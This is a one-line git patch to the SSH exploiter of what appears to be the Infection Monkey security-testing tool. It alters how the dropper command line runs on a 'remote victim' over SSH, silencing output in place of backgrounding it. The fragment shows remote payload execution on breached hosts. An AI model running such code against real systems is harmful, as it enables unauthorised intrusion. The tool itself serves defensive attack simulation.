From 2c2af5451de7afa4f70ee053832418c79a9a708e Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 8 Apr 2020 12:11:41 +0300 Subject: [PATCH] SSH tunneling fix --- monkey/infection_monkey/exploit/sshexec.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 4fbc484eb..2318b8c7f 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -180,7 +180,7 @@ class SSHExploiter(HostExploiter): try: cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG) cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) - cmdline += "&" + cmdline += " > /dev/null 2>&1" ssh.exec_command(cmdline) LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",